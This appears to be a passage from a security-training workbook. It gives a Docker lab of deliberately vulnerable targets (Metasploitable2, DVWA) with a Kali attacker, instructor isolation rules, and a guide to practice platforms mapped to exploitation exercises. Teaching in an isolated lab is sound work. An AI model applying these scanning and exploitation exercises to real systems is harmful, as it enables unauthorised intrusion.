Docker containers start in under 10 seconds vs 60–90 seconds for VMs. Resetting is instant — docker restart recreates a clean target in seconds. Requires only Docker Desktop (4GB RAM minimum) vs 8GB for dual VMs. The tradeoff: students don't learn network configuration, and some Metasploitable2 services don't run perfectly in Docker. Use this model for demos or when time between exercises is at a premium.
Docker Setup — One Command Per Student Machine
Students (or you pre-install) Docker Desktop, then run this. Everything else is managed by the compose file.
# ── Prerequisites: Docker Desktop installed ──────────
# Download from docker.com/products/docker-desktop (free)
# ── Save this as lab/docker-compose.yml ──────────────
mkdir ~/lab && cat > ~/lab/docker-compose.yml << 'EOF'
version: "3.8"
networks:
vulnnet:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/24
services:
metasploitable2:
image: tleemcjr/metasploitable2:latest
container_name: msf2
hostname: metasploitable2
networks:
vulnnet:
ipv4_address: 172.20.0.10
command: sh -c "/bin/services.sh && tail -f /dev/null"
dvwa:
image: vulnerables/web-dvwa:latest
container_name: dvwa
hostname: dvwa
networks:
vulnnet:
ipv4_address: 172.20.0.11
kali:
image: kalilinux/kali-rolling:latest
container_name: kali_attacker
hostname: kali
networks:
vulnnet:
ipv4_address: 172.20.0.5
tty: true
stdin_open: true
command: /bin/bash
EOF
# ── Pull images (first time only — ~2GB total) ───────
cd ~/lab && docker compose pull
# ── Start the lab ────────────────────────────────────
docker compose up -d
# ── Enter Kali attacker container ────────────────────
docker exec -it kali_attacker /bin/bash
# ── Inside Kali: install tools ────────────────────────
apt update && apt install -y nmap metasploit-framework curl wget
# Then run exercises against 172.20.0.10 (Metasploitable2)
🔄 Docker Reset — Instant Clean State
# Reset just the target (keeps Kali running)
docker restart msf2 # ~5 seconds — services restart clean
# Full reset — rebuild everything from scratch
cd ~/lab
docker compose down
docker compose up -d # ~10 seconds — fully clean state
# Check services are up on the target
docker exec kali_attacker nmap -p 21,22,80,3306 172.20.0.10
⚠️
Docker networking note: Some Metasploitable2 services (Bind9, NFS) don't run correctly in Docker due to kernel module requirements. Core services (FTP/vsftpd, SSH, HTTP/DVWA, MySQL, Samba, Postgres) all work fine and cover all Module 10 exercises.
✅ Universal Pre-Session Checklist
📋 Run This Before Every Lab Session (All Models)
🔒 Non-Negotiable Security Rules for Instructors
NEVER expose targets to internet
Metasploitable2 will be compromised within minutes if given a public IP. All models above use isolated networks by design. Do not change this.
NEVER use Bridged networking
Bridged mode puts the vulnerable VM on your institution's LAN. A student — or anyone on that LAN — can attack other systems. Always use Host-Only (VirtualBox) or isolated Docker networks.
Get written authorisation
Even in a classroom, document that your institution's IT/security team has authorised this activity. Email confirmation from your department head or IT security officer is sufficient.
Reset between students
A student who has exploited a target may have left backdoors. Always run the reset script between sessions so the next student starts from a clean state.
Destroy cloud resources when done
For Model B (cloud), power off or destroy your VPS at the end of each teaching week. A running Metasploitable2 reachable via VPN is a liability even with good iptables rules.
Keep the VPN configs secret
Each student's .ovpn file is their access credential to the lab. Treat it like a password. Distribute via your LMS or encrypted email, not in a public folder.
📊 Model Comparison Summary
| Factor | 🖥️ Model A — Classroom VMs | ☁️ Model B — Shared Cloud | 🐳 Model C — Docker |
|---|---|---|---|
| Setup time (first time) | 45–90 min per machine | 2–3 hrs (one server) | 15–30 min per machine |
| Reset time between students | ~30 sec (snapshot restore) | ~20 sec (docker compose) | ~5–10 sec (docker restart) |
| Student device requirement | Must use classroom PC | Any device + internet | Must have Docker Desktop |
| Internet dependency | None after setup | Required (VPN) | None after image pull |
| Ongoing cost | Free (uses existing PCs) | $5–30/month (spin down when not teaching) | Free |
| Networking skills students gain | High — they configure VirtualBox networking | Medium — VPN setup only | Low — abstracted away |
| Instructor complexity | Medium — must image all machines | High — VPS + OpenVPN config | Low — one compose file |
| Best for | Dedicated lab room, in-person | Remote/hybrid cohorts | Quick demos, constrained time |
// module 11 · zero-install alternative
Cloud Lab Alternative Track
For students on locked-down laptops, Chromebooks, school-managed devices, or Apple Silicon Macs — complete all the same hands-on skills entirely in a browser, no installation required.
💡
When to use this module instead of Module 10: If you cannot install VirtualBox (no admin rights, school-managed device, Chromebook, or M-series Mac with compatibility issues), this track gives you equivalent hands-on practice using browser-based lab platforms. The exercises map directly to Module 10's 8 exercises — same skills, different delivery mechanism.
✅ 100% FREE — No Card, No Limit
PortSwigger Web Security Academy
Every single lab, every topic, all 250+ interactive exercises — completely free forever. No account required to read content; free account for lab access. No credit card. No daily limits. No premium tier. This is the only platform on this list that is genuinely, unconditionally free.
| What's Free | What's Paid |
|---|---|
| ✅ Everything — 250+ labs | Nothing — there is no paid tier |
| ✅ SQL Injection, XSS, CSRF, Access Control | — |
| ✅ Apprentice → Expert difficulty | — |
| ✅ Burp Suite integration tutorials | — |
🎯
Start here first. Best free web vuln resource in the industry. Sign up at portswigger.net/web-security
⚠️ PARTIALLY FREE — Limited Free Tier
TryHackMe
Has a real free tier but with meaningful restrictions. Good for getting started — you will hit the walls within 1–2 weeks if you want to follow a structured path. Premium is ~$10–14/month (student discount available). Prices as of 2026; check tryhackme.com for current rates.
| What's Free | What Requires Premium (~$10–14/mo) |
|---|---|
| ✅ Selected individual rooms (including all rooms recommended in this workbook) | 🔒 Most rooms inside structured learning paths (SOC L1, Jr Pentester, etc.) |
| ✅ Browser-based AttackBox — 1 hour per day limit | 🔒 Unlimited AttackBox time |
| ✅ OpenVPN access (connect your own Kali — no time limit) | 🔒 Certificates of completion for learning paths |
| ✅ Community access | 🔒 Network simulation rooms (special labs) |
💡
All 7 specific rooms listed in this workbook are on the free tier. You can complete this entire curriculum without paying — just spread usage across multiple days due to the 1-hour daily AttackBox limit.
⚠️ PARTIALLY FREE — Tier 0 Only
HTB Academy
Uses a "Cubes" currency system. Tier 0 modules are genuinely free (you spend 10 Cubes and get all 10 back on completion). You start with 30 free Cubes — enough for 3 Tier 0 modules. Free users get 1 Pwnbox (browser Kali) spawn per day, 2 hours each. Paid subscriptions from ~$96/yr (student). Prices as of 2026; check academy.hackthebox.com.
| What's Free (Tier 0) | What Requires Payment |
|---|---|
| ✅ Intro to Academy | 🔒 Tier I: Network Enumeration with Nmap (~$) |
| ✅ Linux Fundamentals | 🔒 Tier I: Getting Started module (~$) |
| ✅ Learning Process | 🔒 Tier II+: Vulnerability Assessment, SQL Injection (~$$) |
| ✅ Web Requests (Tier 0) | 🔒 All certifications (CPTS, CBBH/CWES) — exam fees ~$210+ |
| ✅ 1 Pwnbox spawn/day (2hrs) | 🔒 Unlimited Pwnbox with subscription |
⚠️
Important: The Nmap module that directly maps to this workbook is Tier I (paid), not Tier 0. Use TryHackMe's free Nmap room as the free alternative for this specific skill.
❌ NOT FREE — Paid Platform
Hack The Box Labs
The original HTB machines platform. Free tier technically exists but is too restricted for meaningful learning. As of 2026 HTB discontinued their VIP plan — only VIP+ remains at $25/month or $223/year. Do not direct students here until they have completed the free platforms above.
| What's "Free" (very limited) | What Requires VIP+ ($25/mo) |
|---|---|
| ⚠️ Active machines only — no writeups, no hints | 🔒 Retired machines (hundreds) + official writeups |
| ⚠️ No Pwnbox — must use own Kali + OpenVPN | 🔒 Pwnbox (browser Kali) |
| ⚠️ Very limited for structured learning | 🔒 Starting Point guided beginner machines |
🚫
Skip this for now. Finish PortSwigger + TryHackMe free content first. Return to HTB Labs only when you have budget and have exhausted the free content above.
📊 Side-by-Side: What You Can Do for Free Right Now
| Platform | Truly Free? | Free Daily Time Limit | Credit Card Needed? | Browser-Based? | Best Free Starting Point |
|---|---|---|---|---|---|
| PortSwigger Web Academy | ✅ 100% Free | No limit | No | Yes | portswigger.net/web-security → SQL Injection track |
| TryHackMe | ⚠️ Free tier exists | 1 hr/day (AttackBox) | No | Yes | tryhackme.com → "Vulnerabilities 101" room |
| HTB Academy | ⚠️ Tier 0 only free | 2 hrs/day (Pwnbox) | No (Tier 0 only) | Yes (Pwnbox) | academy.hackthebox.com → "Linux Fundamentals" (Tier 0) |
| HTB Labs | ❌ Effectively paid | No Pwnbox on free | Yes (for useful access) | Paid only (Pwnbox) | Not recommended until free content exhausted |
🗺️ Recommended Cloud Learning Path (in order)
Start Here
TryHackMe — Pre-Security path (Linux, networking basics)
Nmap Skills
THM "Nmap" room OR HTB Academy Nmap module
Vuln Assessment
THM "Vulnerabilities 101" + "Vulnerability Management" rooms
Web App Vulns
PortSwigger SQL Injection + XSS learning path (100% free)
Exploitation
THM "Metasploit" room + "Blue" room (EternalBlue)
Graduate
HTB Starting Point Tier 0–1 machines (unguided)
⏱️
Estimated time: Steps 1–5 take 15–25 hours total on the free tiers. Step 6 (HTB Starting Point) takes another 10–20 hours and is where most students feel the jump from "guided" to "real" problem-solving for the first time.
Platform Deep-Dives
🟢 TryHackMe — Getting Started Guide
Account setup
Go to tryhackme.com, sign up for a free account. No credit card needed. Use your institutional email if your instructor has set up a classroom.
How rooms work
Each "room" is a self-contained module: read theory, watch a walkthrough, then spin up a target machine in the browser. Answer questions as you go to confirm learning. The attack box runs entirely in your browser — no VPN required on the free tier.
Free tier limits
1 hour per day of AttackBox usage on the free tier. Premium is ~$10–14/month (student discount available). For this curriculum, the free tier is sufficient for all recommended rooms — just spread your practice across days. Prices as of 2026; check tryhackme.com for current rates.
OpenVPN option
If you have Kali Linux installed (even on a school machine where VirtualBox is blocked, Kali may be installable as WSL2 on Windows), you can connect your own Kali to THM via OpenVPN for free — no AttackBox time limit applies.
Specific Rooms That Map to This Workbook
| THM Room | Maps To | Cost | Est. Time | URL |
|---|---|---|---|---|
| Vulnerabilities 101 | Module 1 — Foundations (CVE, CVSS, NVD) | ✅ Free | 1–2 hrs | tryhackme.com/room/vulnerabilities101 |
| Nmap | Module 3 — all scan types, NSE scripts, output formats | ✅ Free | 2–3 hrs | tryhackme.com/room/furthernmap |
| Metasploit: Introduction | Module 10 Ex 3 — Metasploit framework basics | ✅ Free | 2 hrs | tryhackme.com/room/metasploitintro |
| OWASP Top 10 | Module 10 Exercises 4–5 — web app vuln categories | ✅ Free | 4–6 hrs | tryhackme.com/room/owasptop10 |
| Blue (EternalBlue) | Module 10 Ex 6 — Windows SMB exploitation | ✅ Free (retired room) | 2 hrs | tryhackme.com/room/blue |
| Vulnerability Management | Modules 1 + 6 — Full VM lifecycle, OpenVAS walkthrough | ⚠️ Some tasks free, some premium | 2–3 hrs | tryhackme.com/room/vulnerabilitymanagementkj |
| Pre-Security path | Prerequisite foundation — Linux, networking, web | 🔒 Mostly premium rooms | 40 hrs | tryhackme.com/path/outline/presecurity |
⏱️
AttackBox limit tip: The free tier limits you to 1 hour of AttackBox per day. Each room above takes 1–6 hours. Spread them across days. Alternatively, if you have Kali Linux installed (even via WSL2 on Windows), connect via OpenVPN for free — no daily time limit applies.
🟠 HTB Academy — Getting Started Guide
Account setup
Go to academy.hackthebox.com, create a free account. Tier 0 modules are permanently free — no subscription needed to start.
Pwnbox
HTB's browser-based Kali Linux environment. All tools (Nmap, Metasploit, Burp Suite, OpenVAS) pre-installed. Spawns in seconds. No local VM, no networking configuration, no compatibility issues — works on any device with a modern browser including Chromebooks and M-series Macs.
Free Tier content
Tier 0 modules are completely free. The Vulnerability Assessment module and Getting Started module both have free sections. Annual student plan (~$96/year as of 2026) unlocks everything. Check academy.hackthebox.com for current pricing.
Quality difference vs THM
HTB Academy content is written by practising security professionals and is noticeably more rigorous than TryHackMe. Less hand-holding — but if you complete Modules 1–9 of this workbook first, you will have enough theory to follow along without struggle.
HTB Academy Modules That Map to This Workbook
| HTB Academy Module | Maps To | Cost | Est. Time |
|---|---|---|---|
| Linux Fundamentals (Tier 0) | Prerequisite — command line skills needed for all scanning exercises | ✅ Free (Tier 0) | 8 hrs |
| Web Requests (Tier 0) | Module 3 / 10 — HTTP fundamentals for web scanning | ✅ Free (Tier 0) | 3 hrs |
| Intro to Academy (Tier 0) | Platform orientation — do this first | ✅ Free (Tier 0) | 30 min |
| Getting Started (Tier I) | Modules 1–3 — VM lifecycle, tools, first scan | 🔒 Paid (Tier I — ~$) | 3–4 hrs |
| Network Enumeration with Nmap (Tier I) | Module 3 — Full Nmap scanning methodology | 🔒 Paid (Tier I — ~$) | 4–6 hrs |
| Vulnerability Assessment (Tier II) | Modules 1, 4, 5, 6 — Full VA methodology, Nessus + OpenVAS lab | 🔒 Paid (Tier II — $$) | 5–8 hrs |
| SQL Injection Fundamentals (Tier I) | Module 10 Ex 5 — SQLi attack and remediation | 🔒 Paid (Tier I — ~$) | 5–7 hrs |
⚠️
Cost reality: You start with 30 free Cubes — enough for 3 Tier 0 modules. Every module listed above except the three Tier 0 ones will cost Cubes beyond your starting balance. Use TryHackMe's free Nmap room before paying for HTB Academy's Nmap module — same core skills, zero cost.
🔵 PortSwigger Web Security Academy — 100% Free Web Vuln Labs
🎯
PortSwigger (makers of Burp Suite) maintains a completely free, world-class web application security training platform. Every lab runs in the browser. No account required to read content; free account for labs. This is arguably the single best free resource for web vulnerability practice in 2026.
| Learning Path | Maps To | Approx Labs | URL |
|---|---|---|---|
| SQL Injection | Module 10 Exercise 5 — SQLi in DVWA, CWE-89 | 18 labs (beginner → expert) | portswigger.net/web-security/sql-injection |
| Cross-Site Scripting (XSS) | Module 4 Scenario C — XSS CVSS scoring exercise, CWE-79 | 30 labs | portswigger.net/web-security/cross-site-scripting |
| Access Control / IDOR | Module 5 — Risk prioritisation context: privilege escalation via broken access | 13 labs | portswigger.net/web-security/access-control |
| Authentication | Module 10 Exercise 6 — Weak credential/auth bypass context | 14 labs | portswigger.net/web-security/authentication |
Cloud Exercise Track — Equivalents to Module 10
How These Map to Module 10's 8 Exercises
Each row below gives you the cloud-platform equivalent of the corresponding Module 10 hands-on exercise. Complete whichever exercises you can on the free tier; mark the others for when you have access to a paid tier or the local lab.
☁️ Cloud Exercise Mapping Table
| Module 10 Exercise | Cloud Equivalent | Platform | Free? |
|---|---|---|---|
| Ex 1 — Host discovery & full port scan | THM "Nmap" room — Tasks 3–6 (host discovery, port scanning) | TryHackMe | ✅ Free |
| Ex 2 — Vulnerability script scanning | THM "Nmap" room Task 8 — NSE scripts section | TryHackMe | ✅ Free |
| Ex 3 — vsftpd backdoor exploitation | THM "Metasploit: Introduction" room — exploitation walkthrough | TryHackMe | ✅ Free |
| Ex 4 — Web app recon (DVWA) | PortSwigger "Burp Suite: The Basics" + web recon intro | PortSwigger | ✅ 100% Free |
| Ex 5 — SQL Injection in DVWA | PortSwigger "SQL Injection" — Apprentice labs 1–5 (identical SQLi mechanics to DVWA) | PortSwigger | ✅ 100% Free |
| Ex 6 — Samba exploitation | THM "Blue" room — EternalBlue via SMB (equivalent privilege escalation scenario) | TryHackMe | ✅ Free (retired room) |
| Ex 7 — Write a vulnerability report | Complete in this workbook using your findings from Ex 1–6 above | This workbook | ✅ Free |
| Ex 8 — Remediate & re-scan | THM "Vulnerability Management" room — remediation workflow using OpenVAS (some tasks may be premium) | TryHackMe | ⚠️ Partially free |
✏️ Reflection Log — Record Your Cloud Lab Work
As you complete each cloud room or lab, record your key finding, the command or technique that was most important, and what it taught you. This becomes your personal evidence log — equivalent to the scan outputs from Module 10.
📋 Cloud Track Completion Checklist
Check off each item as you complete it. Aim to tick all "free" items before requesting any paid access.
Progress: 0 / 0 completed
🔄 Cloud vs. Local Lab — Honest Comparison
| Factor | Cloud Platforms (THM / HTB) | Local VirtualBox Lab |
|---|---|---|
| Setup time | 5 minutes — create account, done | 45–90 mins first time |
| Device requirements | Any browser, any OS, any hardware | 8GB RAM, admin rights, 20GB disk |
| Networking knowledge gained | Low — networking is abstracted away | High — you configure every interface |
| Tool installation experience | None — tools pre-installed | Real — you troubleshoot install issues |
| Scan output authenticity | Real scans against real targets | Real scans against real targets |
| Offline access | None — requires internet | Full offline |
| Cost | Free tier limited; $10–14/mo for full access | Free forever once set up |
| Employer signal | TryHackMe completion well-known; HTB Labs very well-regarded | Describing self-built lab in interview = strong signal |
| Verdict | Best for: locked-down devices, beginners, structured learning | Best for: deeper skills, interview talking points, offline use |
🏆
Ideal outcome: complete the cloud track first for guided experience, then set up the local VirtualBox lab (Module 10) when you have a personal machine with admin rights. The two approaches teach different things and are complementary, not redundant.
🚀 What Comes After This Workbook?
Certifications to target
CompTIA CySA+ — the most directly relevant cert for VM analysts. Also consider Security+ as a foundation, then CPTS (HTB) or eJPT (eLearnSecurity) for hands-on offensive skills.
Tools to learn next
Tenable Nessus Essentials (free for 16 IPs), Qualys Community Edition, and DefectDojo (free open-source VM tracking platform used in real enterprises).
Build a portfolio
Document your HTB / THM progress publicly on LinkedIn or GitHub. Write up one real vulnerability finding (from your lab, anonymised) as a professional report. These are the most effective differentiators for entry-level VM analyst job applications.
Stay current
Subscribe to CISA's KEV RSS feed, NIST NVD email alerts for your technology stack, and the weekly "tl;dr sec" newsletter. VM is a continuous process — staying current on emerging CVEs is part of the job, not optional.